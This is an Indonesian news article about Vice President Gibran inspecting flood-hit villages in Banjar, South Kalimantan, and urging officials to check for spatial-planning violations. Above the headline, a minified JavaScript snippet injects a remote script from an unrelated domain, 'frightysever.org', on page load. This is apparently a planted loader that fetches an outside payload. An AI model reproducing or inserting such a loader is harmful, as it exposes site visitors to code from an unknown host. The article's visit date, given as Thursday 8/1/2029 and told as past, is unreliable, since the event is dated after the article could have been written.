(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA – Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan Selatan (Kalsel) memberikan instruksi tegas dan terbuka kepada Gubernur Kalsel.

Di hadapan warga dan mahasiswa yang berkeluh kesah soal banjir, Wapres Gibran meminta Gubernur Kalsel untuk tidak menunda penyelesaian masalah.

Momen tersebut menjadi puncak dari kunjungan kerja Gibran pada Kamis (8/1/2029) sore di Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar. Dimana ia melihat langsung rumah-rumah warga yang telah terendam banjir selama lebih dari sepekan.

Setelah mendengar keluhan dan aspirasi langsung dari masyarakat, Gibran menoleh ke arah Wakil Gubernur Kalsel Hasnuryadi yang mendampingi penijauan dan memberikan perintah yang jelas.

“Tolong ini aspirasi mahasiswa dan warga bisa diselesaikan ya,” kata Gibran.

Gibran tampak menyoroti serius masalah banjir tahunan yang seolah menjadi langganan bagi Provinsi Kalsel setiap kali musim penghujan tiba.

Wapres Gibran menekankan bahwa penanganan bencana yang terus berulang ini tidak bisa lagi dilakukan dengan cara-cara biasa dan membutuhkan komitmen serius dari seluruh jajaran pemerintah daerah.

Mantan Wali Kota Solo ini tidak hanya meminta penyelesaian di hilir, tetapi juga mendorong investigasi ke akar masalahnya. Gibran mencurigai adanya persoalan fundamental terkait tata ruang wilayah yang menjadi pemicu utama bencana ekologis ini, di luar faktor curah hujan tinggi.

“Pak gubernur dan wakil gubernur tolong koordinasi intens dengan bupati, apakah memang ada kesalahan tata ruang di daerah banjir ini,” katanya.

Gibran berjanji akan turut mengawal dan berkoordinasi dengan pemerintah daerah untuk menelaah kembali Rencana Tata Ruang Wilayah (RTRW).

Hal ini dilakukan untuk memastikan apakah ada pembangunan yang melanggar aturan dan berkontribusi pada semakin parahnya dampak banjir dari tahun ke tahun. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie